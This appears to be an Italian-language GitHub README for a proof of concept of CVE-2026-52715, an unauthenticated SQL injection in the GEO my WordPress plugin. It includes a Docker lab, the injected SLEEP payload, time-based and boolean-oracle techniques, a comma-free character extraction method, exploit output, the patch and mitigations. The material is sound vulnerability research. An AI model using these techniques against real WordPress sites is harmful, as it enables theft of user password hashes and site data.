686f6c61/poc-geoleak-cve-2026-52715PoC funzionale di CVE-2026-52715 (GeoLeak): SQLi non autenticata in GEO my WordPress <= 4.5.5 tramite swlatlng/nelatlng. Laboratorio Docker + exploit time-based/boolean-based + esfiltrazione senza virgole nel payload.
Proof of Concept educativa di GeoLeak (CVE-2026-52715), iniezione SQL non autenticata (CVSS 9.3) nel plugin GEO my WordPress <= 4.5.5 per WordPress. I parametri
swlatlngenelatlngdei limiti della mappa vengono interpolati senza sanificazione nella clausola WHERE. Laboratorio Docker autocontenuto + exploit con tecniche time-based, boolean-based ed esfiltrazione carattere per carattere.
CVE-2026-52715 è un'iniezione SQL (CWE-89) nella funzione del plugin GEO my WordPress, che affetta tutte le versioni ed è stata patchata dalla (15 giugno 2026). È stata scoperta dal ricercatore e pubblicata tramite Patchstack.
gmw_get_locations_within_boundaries_sql()La catena denominata GeoLeak dimostra come, partendo dal solo accesso in lettura a qualsiasi pagina pubblica che contenga lo shortcode [gmw], un attaccante possa:
swlatlng (o nelatlng) della query string, senza cookie, senza nonce e senza autenticazione.SLEEP() (time-based blind) valutato per ogni riga dell'INNER JOIN contro wp_gmw_locations."total_results":N che il plugin stesso incorpora nel JSON di configurazione della mappa per inferire condizioni booleane (boolean-based blind).explode(',', ...)), tramite CASE WHEN e SUBSTRING(x FROM n FOR 1).Il risultato è lettura arbitraria del database di WordPress: tabella wp_users (hash delle password), opzioni di configurazione, chiavi e dati di terze parti memorizzati nei plugin.
Nella PoC si verifica l'estrazione completa di VERSION() di MariaDB utilizzando esclusivamente richieste GET.
Questo repository contiene materiale strettamente educativo e difensivo.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl e awk per l'exploitdocker-compose.yml)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
Parametri configurabili dell'exploit:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
Accesso a WordPress: http://localhost:3080 con admin/admin. La pagina con il form vulnerabile è http://localhost:3080/?page_id=5.
Nota: la riga seed in
wp_gmw_locationsè imprescindibile. La query usa INNER JOIN contro quella tabella: senza righe il WHERE iniettato non viene valutato eSLEEP()non dorme.
Output reale dell'ultima esecuzione contro il laboratorio (14 agosto 2026):
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
Verifica incrociata direttamente contro il database:
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
Contro la versione patchata (>= 4.5.5.1) la fase time-based risponde in millisecondi e la PoC termina con [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1).
Dettaglio completo, con i frammenti di codice e le righe esatte, in docs/analisis-tecnico.md. Punti chiave:
gmw_get_locations_within_boundaries_sql() interpola {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} direttamente nella WHERE (tutti e quattro i punti sono iniettabili).gmw_get_form_values() elabora l'intera query string con parse_str() senza un elenco di consentiti.explode(',', $southwest). La PoC usa CASE WHEN a THEN b ELSE c END invece di IF(a,b,c) e SUBSTRING(x FROM n FOR 1) invece di SUBSTRING(x,n,1)."total_results":N; l'exploit calibra l'intervallo di lunghezza (-10..1) affinché la riga seed sopravviva quando la condizione è vera.wp_posts.* più i campi gmw); error-based non pratica (wpdb silenzia gli errori).wp_ajax_nopriv_* del plugin o non eseguono SQL (versione gratuita), oppure sono protetti da nonce. Il vettore del CVE nella versione gratuita è la GET del form.Diff reale completo in docs/diff-parche-4.5.5.1-gmw-functions.php.diff. Tra 4.5.5 e 4.5.5.1 differiscono solo tre file (geo-my-wp.php della versione, readme.txt del changelog e includes/gmw-functions.php):
gmw_parse_latlng_boundary(): richiede esattamente 2 parti numeriche finite con |lat| <= 90 e |lng| <= 180.gmw_get_form_values() scarta con unset() i valori che non superano la validazione.$wpdb->prepare() e segnaposto %f.Versione attuale del plugin: 4.5.5.3 (luglio 2026), patchata.
swlatlng/nelatlng, oppure virtual patching (Patchstack e simili).[gmw] pubblici necessitano della ricerca per limiti di mappa.swlatlng/nelatlng nei log.wp_users, l'iniezione permette di leggerli.